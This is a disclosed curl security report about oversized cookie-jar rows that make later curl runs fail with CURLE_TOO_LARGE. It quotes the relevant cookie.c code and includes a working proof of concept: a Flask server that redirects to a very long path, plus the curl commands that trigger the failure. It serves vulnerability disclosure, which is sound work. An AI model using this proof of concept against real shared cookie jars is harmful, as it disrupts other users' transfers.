Skip to content
Business logic Disclosed report Intermediate

Derived cookie Path aborts cookie jar loading in curl 8.23.0

When a cookie without a Path attribute is set on a very long request path, curl derives a cookie path from that URL and writes a serialised cookie-jar row that is longer than the reader's line buffer. A later curl run that loads that jar fails with CURLE_TOO_LARGE before sending any request.

threalwinky Follow

Originally disclosed on HackerOne

  • Disclosed after 7 days

Hello curl security team,

I am reporting a related cookie-jar failure that I reproduced on the official curl 8.23.0 release.

Summary

A server redirects curl to a path approximately 5 KB long and responds there with a short cookie that has no Path attribute. curl derives the cookie path from the request URL and writes it to the Netscape cookie jar. The resulting record is 5,047 bytes, excluding the newline. A later curl invocation using that jar exits with error 100 (CURLE_TOO_LARGE) before sending its request.

Vulnerable code

In lib/cookie.c, storecookie() derives a default path from the request path when a cookie omits the Path attribute:

C++
else if(path) {
  /* No path was given in the header line, set the default */
  const char *endslash = strrchr(path, '/');
  if(endslash)
    plen = endslash - path + 1; /* include end slash */
  else
    plen = strlen(path);
}

if(path) {
  co->path = sanitize_cookie_path(path, plen);

get_netscape_format() serializes co->path into the Netscape cookie-jar row. The serializer does not enforce the maximum line length used by the reader:

C++
return curl_maprintf(
  "%s%s\t"           /* domain */
  "%s\t"             /* tailmatch */
  "%s\t"             /* path */
  "%s\t"             /* secure */
  "%" FMT_OFF_T "\t" /* expires */
  "%s\t"             /* name */
  "%s",              /* value */
  ...
  co->path ? co->path : "/",
  ...);

On reload, cookie_load() initializes its line buffer to MAX_COOKIE_LINE + 48, or 5,048 bytes:

C++
curlx_dyn_init(&buf, MAX_COOKIE_LINE + 48);

Curl_get_line() appends the newline to the line buffer. The dynamic buffer also reserves space for a terminating NUL; if the required size exceeds the configured limit, it returns CURLE_TOO_LARGE:

C++
size_t fit = len + idx + 1; /* new string + old string + zero byte */
if(fit > s->toobig) {
  curlx_dyn_free(s);
  return CURLE_TOO_LARGE;
}

This creates a mismatch between serialization and parsing: a cookie path can make the serialized row longer than the reader's buffer can accept. When the reader exceeds that limit, it returns CURLE_TOO_LARGE and the cookie-jar load fails.

POC

Step 1: Create a simple server and run:

Python
from flask import Flask, abort, make_response, redirect

app = Flask(__name__)
long_path = "/" + "p" * 5015 + "/abc"

@app.get("/redir")
def redir():
    return redirect(long_path)

@app.get("/<path:path>")
def set_cookies(path):
    if "/" + path != long_path:
        abort(404)
    response = make_response()
    response.set_cookie("root", "available", path="/")
    response.set_cookie("long", "v", path=None)
    return response

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=8000, debug=False, threaded=True)
image.png
image.png From the original on HackerOne

Step 2: Use latest 8.23.0 curl to send request to get cookie. This also creates a jar file contains a 5,047-byte row for long=v and a 40-byte row for root=available

Bash
./curl -L -b "" -c cookies.txt http://127.0.0.1:8000/redir
image.png
image.png From the original on HackerOne

Step 3: curl exits with error 100 (CURLE_TOO_LARGE) while loading the jar

Bash
./curl -b cookies.txt http://127.0.0.1:8000               
image.png
image.png From the original on HackerOne

Impact

The demonstrated impact is denial of service for later curl transfers that load the affected jar. Cookie loading fails before the new HTTP request is sent. Applications that share a persistent jar may see otherwise unrelated transfers fail until the oversized row is removed or the jar is replaced.

The original report as published on HackerOne, by threalwinky. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the cookie-jar writer does not enforce the same maximum line length as the reader, so a path derived from a long request URL produces a row the loader cannot accept.

Impact

Later curl transfers that load the affected jar fail with a too-large error before any request is sent, so applications sharing a persistent jar may see unrelated transfers fail until the oversized row is removed or the jar replaced.

What the attacker needed

Curl 8.23.0; server redirects to a ~5 KB path; cookie set without a Path attribute; later run loads the saved jar

How it was found

  1. Run a small local server that redirects to a very long path and sets a cookie without a Path attribute there.
  2. Use curl 8.23.0 with -L and a cookie jar output file to follow the redirect and save the cookies.
  3. Run curl again with that jar as input and observe it exit with error 100 before sending the request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

curl is a command-line tool for fetching web pages, and it can save cookies (small pieces of data a site asks it to remember) into a file called a cookie jar. Here the saved line became slightly longer than the limit curl uses when reading the file back, so the next run refused to load the jar and stopped before making its request. The result is that a saved file can break later, unrelated downloads.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.